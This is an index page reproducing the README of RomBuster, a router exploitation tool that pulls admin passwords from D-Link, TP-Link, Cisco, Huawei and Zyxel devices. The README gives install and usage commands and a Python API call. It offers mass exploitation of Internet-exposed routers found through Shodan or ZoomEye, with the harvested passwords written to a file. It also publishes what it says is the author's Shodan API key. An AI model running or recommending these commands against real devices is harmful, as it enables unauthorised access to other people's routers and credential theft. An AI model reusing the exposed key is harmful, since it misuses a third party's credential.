Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/EntySec/RomBuster

RomBuster is a router exploitation tool that allows to disclosure network router admin password.
https://github.com/EntySec/RomBuster

credentials-gathering entysec exploit exploits hack hacking information-extraction information-gathering iot iot-hacking kalilinux password-cracker passwords payload payloads router router-hacking

Last synced: 11 days ago
JSON representation

RomBuster is a router exploitation tool that allows to disclosure network router admin password.

Awesome Lists containing this project

README

        

# RomBuster

[![Developer](https://img.shields.io/badge/developer-EntySec-blue.svg)](https://entysec.com)
[![Language](https://img.shields.io/badge/language-Python-blue.svg)](https://github.com/EntySec/RomBuster)
[![Forks](https://img.shields.io/github/forks/EntySec/RomBuster?style=flat&color=green)](https://github.com/EntySec/RomBuster/forks)
[![Stars](https://img.shields.io/github/stars/EntySec/RomBuster?style=flat&color=yellow)](https://github.com/EntySec/RomBuster/stargazers)
[![CodeFactor](https://www.codefactor.io/repository/github/EntySec/RomBuster/badge)](https://www.codefactor.io/repository/github/EntySec/RomBuster)

RomBuster is a router exploitation tool that allows to disclosure network router admin password.

## Features

* Exploits vulnerabilities in most popular routers such as `D-Link`, `Zyxel`, `TP-Link`, `Cisco` and `Huawei`.
* Optimized to exploit multiple routers at one time from list.
* Simple CLI and API usage.

## Installation

```shell
pip3 install git+https://github.com/EntySec/RomBuster
```

## Basic usage

To use RomBuster just type `rombuster` in your terminal.

```
usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
[--zoomeye ZOOMEYE] [-p PAGES]

RomBuster is a router exploitation tool that allows to disclosure network
router admin password.

optional arguments:
-h, --help show this help message and exit
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.
```

### Examples

**Exploiting single router**

Let's hack my router just for fun.

```shell
rombuster -a 192.168.99.1
```

**Exploiting routers from Internet**

Let's try to use Shodan search engine to exploit routers over Internet.

```shell
rombuster --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD
```

**NOTE:** Given Shodan API key (`PSKINdQe1GyxGgecYz2191H2JoS9qvgD`) is my PRO API key, you can use this key or your own, be free to use all our resources for free :)

**Exploiting routers from input file**

Let's try to use opened database of routers.

```shell
rombuster -i routers.txt -o passwords.txt
```

**NOTE:** It will exploit all routers in `routers.txt` list by their addresses and save all obtained passwords to `passwords.txt`.

## API usage

RomBuster also has their own Python API that can be invoked by importing RomBuster to your code.

```python
from rombuster import RomBuster
```

### Basic functions

There are all RomBuster basic functions that can be used to exploit specified router.

* `exploit(address)` - Exploit single router by given address.

### Examples

**Exploiting single router**

```python
from rombuster import RomBuster

rombuster = RomBuster()
creds = rombuster.exploit('192.168.99.1')

print(creds)
```